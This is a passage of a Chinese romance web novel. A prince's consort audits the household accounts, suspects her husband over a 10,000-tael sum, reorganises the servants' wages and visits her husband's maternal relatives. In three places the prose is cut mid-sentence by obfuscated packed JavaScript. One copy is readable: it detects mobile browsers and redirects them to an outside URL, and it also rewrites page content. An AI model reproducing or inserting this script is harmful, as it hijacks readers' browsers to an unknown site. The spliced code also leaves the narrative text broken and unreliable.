柳乐点头,又指着账目,提了几个问题,胥增百一一解释了,言语明晰,并无一丝糊弄之意,柳乐见他诚实,便将账本翻到今年八月那一页,问:“这里有一笔一万银子修花园,我把花园的帐算了几遍也对不上,是不是我算错了?” 胥增百只向账本瞄了一眼,立即赔着笑说:“王妃没有算错,多出的一万两是王爷支取的,王爷命我记在修园子的账上。” “王爷支的?”柳乐见他答得这么干脆,倒吃了一惊。定定神,她又问:“我看前些年王爷也支过银子,有几千的,也有一笔一万的,当时并没立名目,只记上是王爷支取,那些和这次有何不同?” “先前那些是王爷拿去赏人的。” “拿这么多银子赏人?”柳乐忍不住再问一句,打断了胥增百的话。 胥增百忙笑答:“在下说得不对,莫若说是王爷拿去奖励人的。那时王爷封地上有不少事要办,做得好了,王爷便去奖励办事的人。不过王爷不出面,只是拿出钱来,所以在下只记一笔数目。详情那边的罗大人更清楚,收条也是交由罗大人保存,王妃若要看……” “不必看,我明白了。”其实柳乐昨日看到那几笔账目时也并没在意,都是好久前的事了,这时,听了胥增百的话,她只是在心里想:开支还得算上王爷奖励人一项,每年再增加两万吧。随即,她的思绪又回到八月这一万。——自予翀病愈后再没以自己的名义支过钱,现在明确知道这一万是他支的,怎么却记在修园子帐上?柳乐不由愈发疑惑。 她的手指仍点在那处:“那么王爷这次支这一万两做什么用,也是奖励谁吗?” “恕在下不知,”胥增百摇头,“当时在下问王爷可是要奖赏什么人,王爷说不是,告诉在下:‘就记花园罢。’在下便这样记了。” 柳乐的脸一红。她突然想起予翀前几日给她一万两的银票,她拿回家给哥哥购宅子了。净钻牛角尖,竟然把这件大事忘了——帐目上可没这笔支出,一万两并非可以抹去不记的小数,是从哪儿凭空出来的?予翀总不可能把日常花用的每月一千攒下来吧。 这么说这其实是予翀给她的银子。虽然日期在八月,那时他们还没成亲,可能是他事先准备好了。柳乐想起予翀确实说过:“本就是要给你,这是我早就准备了的。” 这样解释说得过去,几乎不算个事儿,但柳乐还是不能彻底说服自己,心下隐隐感到不安——怎么恰好都是一万两? 一万,这是个很寻常的数字,仅凭一个数就疑神疑鬼实在牵强。可一万两银子,不是到处就能见到——那时她便疑惑,谁人有本事偷偷搬运这么一大堆银钱到计家,谁又有这般财力,不在乎丢一万两?假若这个人是王爷,不就能讲通了? 予翀给了她一万两,她却怀疑予翀陷害计晨,岂不是太没有良心? 不对,不光一万这个数凑巧,还有花园呢——那边,银子是从花园挖出来的,这边,记在修花园上,这也碰到一处了? 八月份的时候,亲事还没提,予翀直接说给未来的丈人家未免不好看;若不立名目吧,又和奖励别人的钱混在一处,日子长了,容易核对不清。他想了想,想到王府正修花园,便随口指示一句:“添到花园账上。”——就是这么简单的一回事,哪有那些曲里拐弯、藏藏掖掖? 柳乐心里乱七八糟地想了半天,没作声。胥增百看看她,小心地笑道:“王妃何必为这些费神。在下斗胆替王爷说句话,若王爷有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,我是想着银票到底用着不便,现银倒要使人抬,也不大方便。——王爷一向是怎样办?” “王爷倒是都用银票的。”胥增百答,“先前在下是拿一张整票子给王爷,王妃若需要,在下换成小面额的,一两、五两、十两都有,用起来不比现银更麻烦。” “我懂了,那么,若要银票,是哪家钱庄的?” “哪家都行,王爷在几处大钱庄都存有银子,王妃可随意指定。王妃若没有特别吩咐,府里现放着的银票多是最大那一、二家钱庄的。” “像宝通?” “是,是。” 予翀交给她的正是面额一万两、宝通钱庄的银票,实在是无可怀疑了。虽然他也可以私下另找人将票子兑换成银锭,不知从哪儿又拿一张银票给她,不过——不至于吧? 45. 放贷和管家 柳乐又问:“我若差个人拿银票去钱庄兑银子,别人会知道是王府来的吗?” 胥增百答:“一般不知,若票面上千——大笔银子本来能开出的地方不多,若有心查,能够知道是王府流出去的。不过王妃放心,便是知道了,没人敢多问。何况咱们王府账目清白,谁想拿这事做文章,那他是往铁板上碰了。” 柳乐想:将来可以去宝通打听,看八月间有没有人拿王府的银票换了二百只银锭。不,不,我怎么变这样杯弓蛇影,再疑这个,可有些太过了。 她将心中的疑惑丢开,畅快不少,不由露出笑:“我就是喜欢把事情都搞明白了,其实我不要银子用,平白浪费了老先生这一大会儿工夫。” “哪里哪里,这是在下分内。”胥增百踌躇了一下,却又说,“王妃若一时不用银子,放出去也行,在下可为王妃办。” “放出去?”柳乐问,“如何放?” “类似钱庄那么办,——在下认识几位钱庄上的朋友,能够寻出可靠的人放给他。” 柳乐知道放贷是怎么一回事:在计家时,董素娥把管家大权牢牢攥在手里,尤其是银钱进出一项,绝不许媳妇沾手,高娴心中不满,私下里曾抱怨说:“太太也太看重她那几个银子了,怕我们偷了她还是怎的,直说也好,倒说怕咱们拿了钱放债,收不回来。我可不认得什么放债的朋友。——我敢说,要是太太有门路,她自己倒想那么干呢。”当时她不懂,问过高娴,才明白拿银子借给急需的人,可以收较高的利钱。她很不以为然,认为未免有些趁人之危。 她问胥增百:“你们平日都这么干?一时用不上的银子,拿它们放出去?” “没有没有,”胥增百慌得又站起身,“这怎么敢呢?王爷要是晓得,别说做不成这份差事,在下的性命也别要了。” 柳乐心想王府待几位账房十分优渥,他们算是拿着“养廉银”,为另发大财去冒风险,并不值当。何况胥增百头回见她就明着说出来,可见理直,实情该是不错,便不追问,说:“那我怎么敢呢?” “王妃当然和我等不同。若是在下,有拿王爷的钱谋私利之嫌,王爷王妃是一家人,自然没什么。”胥增百大着胆子说,又觑柳乐面色,慢慢解释,“银子放在钱庄利钱极少,钱庄自己都是拿了人家的钱向外放的。倒不如我们直接放,钱庄收三分利,王妃只收两分,虽只两分,积下来也不少。” 柳乐摇摇头:“不必了,就照原先放在钱庄吧,不需要那些利钱。” “是,是。”胥增百低着头说,“在下多口了,王妃恕罪。” 柳乐笑道:“老先生别多心,我知道你是好意,银子干放着确实可惜。不过放债我是不愿干的,若做别的事,获些利倒没什么。等我闲了再想想,若将来有好的用处,还要先请教老先生你。” 她暂时没什么再问胥增百的,将他打发走了,但他的话却提醒了一事:予翀让她管钱,或许真有要她从中获些私利的意思。 她想:王爷自己也知道前日说话太伤人,故此拿钱来赔礼?他以为我见钱眼开贪图银子么,那他可想错了。 可是——她又想——他是王爷,怕得罪谁,难道还在乎我心里难受不难受?抑或是他高兴了,当作赏给我的? 周围无人,柳乐的脸却唰一下红透了,狠狠把账册向桌上一摔。——本来她以为他是诚心要她帮助,她并不怕担子重,心中还隐隐有些兴奋。眼下,她恨不得当予翀的面撕了账本。 不过,过了不多久,柳乐的心思又回转回来:反正你也是瞧我不起,我也不和你再让,以后你府上钱怎么用,就看我吧。 柳乐决定,第一步先把予翀和自己在衣饰上的花费砍去一半。她自己的冬夏衣裳,光看见过的,已经数不清有多少套,想来予翀也是一样;首饰不用常常添置,几套大头面只在各类典礼上用,轮换着戴,一年也就轮上一两回,日常戴的每年拿去翻翻新、换换样子就行,所费亦有限。这一项上轻轻松松就拿出八千两了。她在纸上算好,命人去叫王府内务总管,要他拿仆人的花名册来。 一小会儿,管家两口子都来了,将册子捧给柳乐,垂手侍立一旁。 柳乐打开名册,仔细看了一回,抬头说:“月例为八两一等的共三人——王爷书房里的两个丫环和我的丫环;五两一等的十二人,三两一等的三十二人,二两一等的七十六人,还有一两的三十七人;不算你们这些大小管事,也不算侍卫,王府里做日常杂事的共一百六十人。” “回王妃,正是这样。”管家忙答。 柳乐问:“照你们看,这些人够不够使?” 管家小心翼翼地说:“前两年是够了,不过如今园子翻了新,多了几处地方,也要挪几个人安上,当真算起来,其实还短一二十。只是事关王府,不得不谨慎些,细细查了才敢放人进来,要费一些工夫,少不得让这些人先顶一段时日,将来再慢慢添补。” 柳乐点点头:“那么暂时是这些人,以后添人也好,减人也好,须得先来回我一声。” 管家答应了,柳乐又问:“这个月的月钱给他们发了没有?” 管家答:“每月是二十八日发放,这个月的已经备下了,只等着放。” 柳乐说:“那正好,就从这个月起,请你们再重新准备了——王爷和我两个人的衣帽花费这一项,各减去一半,也就是四千,减出来的八千添在这一百六十人的月例上。八两的提到十二两,五两的提到十两,三两的提到八两、二两和一两的全部提到五两。如此一年是……二八十六……三五十五……”柳乐将写好字的纸推到管家面前,自己又拿一张白纸凝神计算,一边把得数写下,“一年共一万一千七百二十四两,你们看对不对。” “对,对。”管家二人站在旁边,大气也不敢喘。 柳乐念道:“原先一年下来是四千四百二十八两,如今多出七千二百九十六两,正好把那八千用完了。剩余的一点,添在年节礼物里头分给大家,还是这些人,逢年过节放赏时按照月例多少倒过来算。——那些平日拿钱少的都是做粗活的,王府各处能收拾得像个样子全靠这些人出力,原本辛苦,又不易叫人看见,平日没机会得赏,年节时该多分些。” 管家笑道:“王妃宽厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到头一个月月钱放完,柳乐才告诉予翀,本以为他要么轻轻讽刺几句,要么用“你愿意怎办就怎办”将她打发掉,谁知都不是,予翀兴致勃勃与她算了一篇帐:各类绸缎布匹的价钱、每年需要新置多少衣服、裁缝的工费……最后证明出八千银子如何足够两人一年的服饰开销。虽然都是同意她的做法,这可比简单答应几个字让人高兴多了。 而且,有那么一会儿,柳乐觉得予翀看她仿佛也是改观了——仔细一想,其实什么都没变,他好像始终是用同样的目光看她,那以前那些恶言恶行是怎么回事,还能是错觉吗?柳乐心里暗暗奇怪。 总的来说,她没想到自己的指令在王府实施得这样顺利,心里也很痛快。原来她的王妃身份并不像先前所想的那样有名无实,她甚至有点飘飘然了。 “怎么搞的,还说哥哥,连我自己也越发市侩了。”柳乐把自己取笑一番,转头又去想新主意——该怎样打理王府事务,她脑子里冒出不少办法,都打算试它一试。 至于自己每个月的一千两月银,她亦有打算:等把父亲的书稿编好,她细细誊抄一遍,就拿去让人刻出来,刻字和纸张的花费都由她出,等书印好了,她还要先买几百部,拿去送给那些家境贫寒的学子…… 于是,不出门的时候,柳乐又是读书、又是写字、又是算账,为这些事忙个不住。不知不觉间,她已习惯了王府的生活,一点点乐在其中了。 46. 书生与狐女 入了腊月,天忽一下寒了许多,从清早天空便阴沉沉的,不觉间降下冰冷的雨滴和落地即融的雪粒。 王府里冬有木炭,夏有冰块,四季如春。柳乐身披大毛斗篷,脚蹬鹿皮短靴,举着油伞,散步似的来了书房。 今日又是小蝉在。她还是坐在门边板凳上念书,只是不坐屋外了,坐在门里面,旁边是烧得热炽炽的一只炭盆。 听见柳乐收伞,她急忙起身接过伞说:“王妃先别解衣裳,我喊人再抬熏笼来。” “没事,我不怕冷。”柳乐说着已经脱下了斗篷,“别忙了。你怎么坐在门口吹风?就这一只火盆?咱们两个就抬动了,往里头放放吧。” 小蝉道:“这不是上好的炭,有烟,怕熏坏了书和字画。” “怎么不用好炭?” 小蝉嚅嚅地说:“没想着王妃今天来,我用这个就够好了。……再升一个,马上就能好。” “算了。”柳乐唤住她,“我立即就走,别劳师动众了。咱们就抬它——敞着门窗,烟气都出去了,熏不坏。明日你们拿最好的炭用,坐在屋里,也不光为了书,人还不值钱吗?” 说罢,两人把炭盆抬到桌案旁。“好香啊,这花在这儿好看。”柳乐望见梅子青瓶中供的一枝黄色腊梅。 “咦,我都没留意。”小蝉眼一亮,“这定是小杏姐姐,——我们都说这瓶子要插上花更好看,总是忘,肯定是小杏姐看今天要下雨,怕花儿叫雨淋坏了,剪了一枝插上,可巧王妃就来赏它了。” 小蝉点起灯烛就去泡茶,柳乐从架上抽了几本书,坐在桌旁一一翻看,得用的放在一边。 小蝉端茶返身,走近桌子,不留神忘记脚下多了个炭盆,脚底一绊,险些要栽倒,匆忙中她用手抓住桌沿,总算没跌倒,茶盘可就撒了手,豁啷啷全掉进炭盆中,顿时刺辣辣腾起一大股白烟,火星乱蹦,几块炭飞了出来,正碰在柳乐腿上、脚上。 柳乐早已经跳了起来。“哎呦!”她只当小蝉被烫到了,叫了一声,又向脚下看了看。 小蝉明明看见一块火红的炭向柳乐腿上飞去,本来,这么在身上碰一下并不会把衣裳点着,可是,小蝉是慌了神,心乱,眼也乱,见浓烟直往上冒,以为柳乐的衣服烧着了,情急之下,她飞跑抱起花瓶,拽掉腊梅,把瓶里的水一股脑泼在柳乐腿上。 “哎呀。”柳乐又叫了一声,“没事,不会着火,别慌,把它拿出去灭了烟就好。” 予翀大步走进来,向柳乐身上看了看,转头问小蝉:“怎么回事?” 小蝉益发吓得呆了,连一句话也说不出,哆哆嗦嗦跪下。 柳乐说:“怪我,我非要把它拿进来,又放在这个碍事的地方,害小蝉绊倒了。” 小蝉磕头求告:“我愿去扫地、扫茅厕,哪样都行,只求王爷别撵我出门。” 院里的粗使丫头听见动静跑来,见状亦不敢说话,低着头,赶紧抬了炭盆出去。 予翀说:“你就去——” “不行。”柳乐截断他,对小蝉说,“你得留在书房,你走了,谁帮我找书呢?”看着予翀又说,“有这一回,以后她必然更加小心。” “你去把王妃的衣裳鞋子拿来。”予翀道。 “是。”小蝉拿袖子擦擦泪,爬起来就跑。 “撑上伞再去。”柳乐喊道。 “慢些走,再摔一次哪里都不能留你了。”予翀也喊一句,一转身抱起柳乐,“过来暖暖。”便将她抱入厢房。 柳乐记得听说过予翀有时会宿在厢房,所以来书房时她并不向东西两面乱瞅。此刻还没回过神,她已经坐在一张床沿上了,予翀弯身为她除下鞋袜,一手拉开被子:“快钻进去。” 柳乐见自己一双光脚被他握着,又羞又急,忙忙就要伸进被中。 “等等。”予翀拉住她,“怎不脱裤子?别把我被子弄湿了。” 柳乐一瞧,果然裙子在滴水,裤脚也湿了一大片,眼角瞥到予翀,仿佛他嘴边噙着笑,看她狼狈怪有趣似的。 “你脱,我不看。”予翀笑着转过身。 柳乐飞快解下裙子,裤腿向上卷卷,把被子在腿上盖好裹紧。 “好了吧,柳乐?”他问。 柳乐怔住。“柳乐”——她知道他怎样说这两个字:柳先在舌尖上打个转,送出来时带着绵长的余韵,乐则是微微的一撅嘴唇,然后,他就势在她身上、在离他嘴唇最近的地方或轻或重地亲一下。“柳乐”,两个字好像含在嘴里的珍珠,而柳乐,无疑是他放在心上的唯一一个人。 起初她怀疑他心里的姑娘也叫柳乐,后来又想,不可能,世上的巧合怎会有那样多? 也许因为他唤她的名字总是在那个时候。可此时并非缠绵之时,为何她的心尖仍是微微一颤? 予翀已经转过身了,向她看一眼,口里说:“真没备着有这么一日。”一晃出了屋子。 柳乐转着脑袋四下打量:看来予翀刚才在这儿呆着——桌上放着茶壶茶杯,茶杯正是她那只蓝的。要不然,她再看不出这会是予翀的屋子——屋内不过一床、一柜、一案、一椅,案上摆着几部书,陈列的笔墨纸砚都和寻常学子所使类同,床上铺用的一概是布衾布褥。当然了,王府里寻不出太次的东西,家具都是上好木料制的,所以这屋子端地是俭而不寒,但到底怎看怎不像王爷休憩的地方。 莫不是他想学人家卧薪尝胆?柳乐暗自好笑,一来他没那个必要,二来要说找苦吃,这儿却又太舒服了。她禁不住在被底轻轻蹬了蹬脚,的确,这硬木床板、粗布被褥挨在身上倒真不难受。 她看这屋子好像挺熟悉,又不知是在哪见过。想来想去,忽地想起好些年前,她是个十六七岁的姑娘时,曾偷偷看过不少话本,有一则故事,说书生在僻静处收拾了一间屋子读书,狐女瞧见,半夜叩窗进来,指桌前椅子问:“汝之椅何如?”书生答:“安若泰山。”狐女便在椅上坐了一夜。第二夜复来,指桌子问:“汝之桌何如?”答:“坦荡如砥。”狐女便扭身坐在桌上。第三夜,问:“汝之柜何如?”答:“虚怀若谷。”狐女一跃跃上柜顶,坐了坐,又指床问:“汝之床何如?”书生答:“绮縠香软,温柔乡也。”狐女跳下柜子,登榻卧在书生身边,始展露欢颜:“果然胜荒洞蛮石多矣。温柔乡,我所爱也。”遂合目安睡一夜。第二日一早起来,狐女问:“君视我何如?”书生答:“天真狡黠,可爱如珠玉。”狐女喜悦,又问:“君之为人何 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是自己的杯子,柳乐自自然然接过喝了两口,予翀在床边坐下,看着被子皱眉道:“久没在这床上睡,到底有些潮气。被子太薄,这儿又没个汤婆子。” “用不着,我不冷。” “浇了一身凉水,怎么不冷?”予翀探手入被去摸。 柳乐感到温暖的手掌抓住了自己一只脚踝,慌不迭踢腿,抽出脚来,往床里头躲了躲。 予翀好像也发窘,耳畔泛了一片浅红。真怪,柳乐不记得自己曾见过他窘迫的模样,不禁有点好笑。她又想起了故事里的书生,忽地明白他一定是强自镇定,而狐女是不是瞧出来了,所以三番五次来逗他一逗? “怕人冷,给条厚些的被子呀。”她忍不住埋怨。 予翀急忙站起身,走到床对面的衣柜前,拉开柜门,向里面翻了好一会儿,拿出一条被子,却是夏天的纱被,比床上的还要薄。 他把这被子扔下,再去翻找,柳乐看他忙忙乱乱,忍不住道:“我刚才穿斗篷来的。” “我这木瓜脑袋。”予翀向额上拍了一记。 他马上跑出屋,转回来时,一手拎着斗篷,另一只手上抓着三只橘子。 他给柳乐盖好。“给你烤橘子吃。”三枚灿烂的果子在柳乐眼前晃晃,好像得意地笑着,接着便被一一置在炭火上。 外头没有什么风,只那半似雨半似雪的水珠从半空不住落下,打在树上、窗上,发出些簌簌的轻响,听来又冷又静。 柳乐说:“是不是你要用书房?我只取几本书就走。” “我不用。不过是想在这儿坐坐。早知我给你带回去,怎么让你下着雨来回跑。”予翀笑看着柳乐,问,“现在果真暖和了?” “真暖和了。”柳乐缩了缩腿。予翀和平日一样,身上只穿件单衫,平时各处都有暖炉,倒罢了,他这屋子不放炭盆时,恐怕真冻得够呛。柳乐不由问:“你在这儿也不嫌冷?” “我不怕。”予翀笑道,“现在更是暖和得很。” “怎的就看我那样怕冷?”柳乐不服道。 “因为你没经过极冷的时候。” “是什么时候?” 予翀敛了笑,柳乐看入他的眼睛,身上一颤。 47. 窃斧和谢家 床边的炭盆“嘶”地响了一声,不知何时,辛香的味道散了满室。 予翀的眼睛好像湖水化了冻,笑得又暖又亮,“没什么好知道的,我不会让你受那个。”他说。 “你看,都好了。”他揭开炭盆的铜罩。 “哇,好烫。”予翀拿手指捏起橘子,忙不迭地一只只丢到桌上,一边吸着气、呲牙咧嘴地嫌烫,一边又去剥皮,剥好了递给柳乐,柳乐也不辞,接过吃了,吃完看见予翀也已吃了一只。他又剥第三个橘子,一瓣给柳乐,再一瓣扔进自己口中,两个人你一瓣我一瓣把那只橘子吃尽。 吃过热乎乎的橘子,落雪声听来不那样冷了,只余静谧。 柳乐抬头望向门口:“小蝉该回来了吧。” “我瞧瞧去。” 不多久,予翀拿了一叠衣服进来。 “我想找一套《淮海居士长短句》,我记得在哪儿见过。”柳乐说。 “我给你找。”予翀刚坐下,又一跃而起,跳出门去。 柳乐穿好衣服,下了床就去开衣柜。 没想到予翀找得很快,这当儿又进来了。柳乐听见他的脚步,头也不转地说:“我把你的被子放好。” 其实不是要为他整理的意思——柜里的东西归置得很整齐,她一眼就发现了目标:他没有绿色的衣物,在一堆蓝白黑当中,一抹明艳的绿极其显眼,刚才就让她看见了。柳乐抓住这块绿色的织物,将它抽出来,原是条丝裙,像一道清溪从她指间淌下去。 是她那条绿裙子,在四锦堂买的,她的印象可深着呢。 那时从计家搬出时,怕被那些衙役们翻检,她把能装上的衣物,尤其是贴身衣物都带了出来,当时她没拿这条衫裙,后来计家将她剩下的物事送还回来,也不包括这件衣服,因为这是董素娥出钱买的,自然该留在计家。可是怎么会是在予翀这儿? 柳乐回头,疑惑地看着他。 “怎么在这儿?” “当然是我拿来的。”予翀不紧不慢地说。 “你从计家拿来的?” “对,搜查计宅前,我先进去瞧了瞧,看见这是你的,就拿回来了。——迟早你要嫁我,总不能由着人动你的衣裳。” 柳乐哦了一声,慢慢把裙子叠好。 她在意的不是这衣服、以及他肯费心寻找她的衣服,而是——他进过计家宅院。他是王爷,他想出入计宅,好吧,不管是否与案子相关,没人拦他。那么,那一万两银子?柳乐没法不想到这个。 他拿得出一万两,他在搜查前去过计宅,他有没有带进去一万两银子? 计晨入狱一整件事可疑之处甚多,可不知怎的,她总是放不下这一万两银子,而且一想到便要疑予翀,虽然再仔细琢磨,明明毫无疑他的道理:他为何要那样做?倘若是为强娶她,莫非少这一万两银子办不成?——难道没这项证据,计晨立即就会被释放出狱?不是。难道没在计家发现银子,她就有足够的底气,能在他上门求亲时拒绝?也不是。那么,他纯粹因讨厌计晨而故意陷害?——可他远非一个卑劣的人。 柳乐觉得自己简直成了那个丢失斧子而怀疑邻居的家伙,她看予翀便是:“视其行步,栽赃也;颜色,栽赃也;言语,栽赃也;动作态度,无为而不栽赃也。①”——如果是错怪了予翀,她岂不就是这样可笑?他和计晨从前连交往都没有,为何与计晨过不去?难不成还是因为她么?可笑之至!若是说出来,一定会惹他发笑。柳乐没有说话。 见柳乐要把裙子放回衣柜,予翀说:“你拿去吧,什么时候再穿穿它?” 柳乐抬起头,带着讥讽说:“蒙殿下恩宠,现在我有穿不尽的衣裳,不要它了。” . 柳乐成了王妃,不免常常要和京中那些尊贵人家应酬。长公主、公主府上她都拜访过,也在王府待了几次客,不消细述。 予翀陪着她一起,等来来往往走过一轮,该尽的礼数都尽到,他便说:“以后谁再请你——除去宫中几人,其他人谁是请得动你的?——想去就去,不想去送份礼就罢了,没人见怪。” 还是有一两家例外,一是谭家,说起谭家,予翀收了嘲讽的语气,诚挚道:“毕竟师恩天高地厚。” 可是谭家将所有可能会面的宴请都推脱了,柳乐可以想见原因:上回她去谭家,老太太拉着她,叫她计晨媳妇,如今再见多么尴尬,不见也好。 另一个是谢家。谢家已延续百年了,比皇帝的家族还老得多,可算是京中排头一位的名门望族,且又是予翀的外祖家,无论如何绕不开。 柳乐瞧予翀对谢家很淡漠,至少是全然无所谓,他说自己不常去,但还是带她一道去了一次。 因为谢音徵说自己不愿和娘家来往,连带柳乐也对谢家印象不甚好,不过她亦有几分好奇,尤其是对谢家其他几位姑娘。 谢家在城内的老宅并不很大,而族中人口众多,除去几位朝中任职的,大多数人都伴着长房老太太住在京郊的宅院中。谢家嫡派共三房,长房老太爷已经过世,二房老太爷老太太是太后的父母,三房老太爷老太太是予翀的亲外祖父母,这些人俱不在了,同辈中单余长房老太太和旁支的几位兄弟、妯娌;如今是予翀的大堂舅统领族中事务。 因予翀过来,老太太在厅堂迎接他们,拜见毕,予翀再去见堂舅等人,柳乐便被请入老太太正房吃茶。 老太太个子矮小,身板很直,走路不需人搀扶,她请柳乐在自己左边坐下,柳乐见几位太太站在旁边侍立,再三推让不肯,老太太便令儿媳妇、侄儿媳妇、孙媳妇依次在椅上坐了,方才坐定。 屋内有十来个人,但说话的只有老太太和柳乐,柳乐十分不自在。且这些人都是谢家的媳妇,她更想看看谢家的姑娘——不提她对谢音徵的向慕,仅见过一面的谢五姑娘也给她很深的印象,她还时常想予翀的母亲,不知当日是怎样的风华绝代。喝过一盅茶,柳乐得空便问:“妹妹们在家么?” 老太太扭头问坐在中间的一位太太:“五丫头出门回来没有?” 那位太太立即站起身,既是答老太太,也是答柳乐,笑道:“不巧了,五丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980656|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头今日一早往她姑母家去了,还没回来。” 等她坐下,柳乐亦笑道:“若另外几位妹妹在家,可否请来见一见。” 老太太便向刚才这位太太说:“你瞧瞧姑娘们在做什么,让她们收拾收拾,过来陪王妃说一会儿话。” 不待她答应,孙媳妇中的一位起身说:“我去请姑娘们。” 先前答话的太太见老太太点了头,便又回去坐下。柳乐这时已看出她容貌非常秀丽,心想她大概正是谢五姑娘的母亲,而谢音徵是三房的姑娘,那么坐在这位太太下首的几人里,有一位该是谢音徵的母亲。几位太太穿着打扮相差无几,甚至神情、谈吐也彼此相似,让人感觉连她们的长相都差不多,柳乐暗自猜了半晌,实在猜不出。 一时间,进来了四位姑娘,太太引着她们见了柳乐,分别是六姑娘、七姑娘、八姑娘、十一姑娘,除去十一姑娘稍小些,余者都是十七、八岁模样,柳乐忙让人拿出备好的表礼:每人一支湘妃竹笛,一串玉珠。 几人谢过,在搬来的小凳上坐下,柳乐又和她们说话,一一问她们平日喜欢做什么。 老太太笑着说:“她们几个平日里在家做些针线,怕见人,王妃见笑了。” 其实几位姑娘看见客人很高兴,答话时脸上都红红的,时不时偷偷抬眼,羞涩地瞄一眼柳乐。 柳乐有点失望,她想与几位姑娘自在说说话,但可能因为长辈在场,她们有些拘谨,只简单回答几个字便住了声,低下头。在柳乐看来,她们的举止言语自然远远比不上谢音徵。 等能问姑娘们的话也问完,屋子里愈发沉闷,柳乐只盼着谁能提议去外面走走转转,可是老太太越坐久了反倒精神越足,又说:“可惜王爷记不得前头了,他伯外公在时向他讲过谢家的事,他愿意听,常来和他伯外公说话。”说着老太太便向柳乐一一历数谢家祖上出过什么人,做过什么官。屋内的人都肃容恭听。 趁老太太停下喝水时,十一姑娘忽然插道:“不知五姐姐回来没有,可以请王妃姐姐去花园里听她弹琴。” 老太太重重放下杯子:“你姐姐今日出门,不会早回来。王妃做什么,谁许你多嘴多舌?可知你心里头只想着贪玩,规矩都忘了,让你母亲现在领你回屋,往后一个月不得出来。” 坐在第二张椅上的太太马上立起,十一姑娘已经淌下泪来,众人皆不敢吭声,柳乐忙求情说:“我确实想去花园里听听几位妹妹弹琴,若要怪十一妹妹,我实在过意不去。” 老太太笑道:“她们懂什么乐器,就敢在王妃面前显弄?只有五姑娘略通些,改日再请王妃指点指点她。”又向十一说,“以后多学学你姐姐们,不得再这样愣头愣脑的。” 再坐了一刻钟,柳乐觉得简直有两个时辰那么久,一人在屋外咳嗽一声,老太太听见,起身道:“王爷贵冗,不敢久留你们。今日未能使王妃尽兴,若不嫌寒舍卑陋,还请王妃多多下降。”客套毕,老太太走在头里,一群人跟着,陪柳乐直至二门,大太太率众家人媳妇又将她送到门口,予翀已经等在那儿了。 48. 冷漠和好看 柳乐上车前,予翀凑近,悄悄对她说:“以后还是寻个借口不来了。” 柳乐想,看来人人都不喜欢谢家,这样一个冷冰冰、处处得小心翼翼的地方,难怪谢音徵不肯回来。 想起谢音徵,柳乐心中一阵不好受。谢音徵是她最想见、最想与之交朋友的人,因她所结识的同龄女子中,还没有哪一位及得上谢音徵那般聪慧、美丽、英秀、善良。可她却对不起谢音徵,无颜面对她——柳乐始终认为,若予翀没有生那场病,现在的王妃该是谢音徵,虽然不是自己故意夺人所好,却难免有负疚之感。 尤其令她难受的是,在谢音徵眼里,一定是她为计晨讨情,去找晋王爷,然后…… 越是不知该如何解释,她越是急于见到谢音徵,把事情解释清楚。她相信,当两人面对面时,该说的话自然而然就能冒出来。可就算澄清了这一桩,接下来又如何?总不能说:“我根本不喜欢晋王爷,从没想过要嫁给他,是他非要娶我,我不得已。”——这不是她该说的、不是她想说的。 柳乐怎想怎不是滋味,回到王府也一直愁眉不展,在屋内只呆了一会儿,不觉又走到后面的小院子发闷。 “柳乐——” 她听见予翀喊了一声,未及答应,他已经掀帘从屋里出来。 “原来你在这儿。”予翀向她看了看,“还不高兴?谢家那老婆子真是——罢了,以后再不用去见她。” “你在那里做什么?”柳乐随口问道。 “在园子里转了转。” “哦。”柳乐心想他倒是还能在花园玩,自己只能闷坐着。 “不好玩,我也闷得很。”予翀笑道,“要是你去才好。” “他们老太太说你先前喜欢去,常常去。” “听她瞎扯,先前去不去我不记得,若说喜欢,那是绝对没有的事。” 柳乐突然想,那时他去谢家,一定是见到谢音徵的,他们在谭家也会过面,他和谢音徵,原本是青梅竹马。 她望着予翀出了神。斜阳擦过墙檐照在他身上,照在他脸上,在亮光中,他的眉毛和眼睛比平日更加醒目和明亮,他几乎像一个少年。 “怎么了?”予翀一边走上前,一边用温柔的语气问。 柳乐忍不住问:“你也不记得你那个表妹了?” “哪个表妹?”予翀猛地盯住了她,黑眼睛里闪出锐利的光,“我绝对不会娶我表妹。” 柳乐犹豫了一会儿,还是说:“谢家二姑娘,你和她不是……” 予翀打断道:“哪一个表妹我都不记得,我绝对不可能娶表妹。”他又重复一遍,语气淡漠。 柳乐感到一阵气愤:他就一点儿都不关心,未免太过无情!就算对谢音徵没有男女之爱,作为表亲也不该这般冷漠。——可他如何竟不喜欢谢音徵?他喜欢的姑娘,又究竟是何许人,是个怎样的姑娘? “你是为这个?”予翀看着她,眼中忽地闪出笑意,“我好标致的娘子,难道你还不知——无论有什么事,倘我真得此福气,我要娶的只有你。” 柳乐看他来哄自己,急急忙忙走去看枝上的腊梅,一面说:“我不是那个意思。其实我……我认识谢二姑娘,她是个很和气的人。她也不喜欢谢家。我想,我们能不能请她来做客——她和黄大人。” “我没意见,只怕黄大人不会答应。”隔着花枝,予翀好笑地望着柳乐。 柳乐也感到自己太异想天开了,不禁脸红,但她趁机又问:“黄大人是个好官吗?” 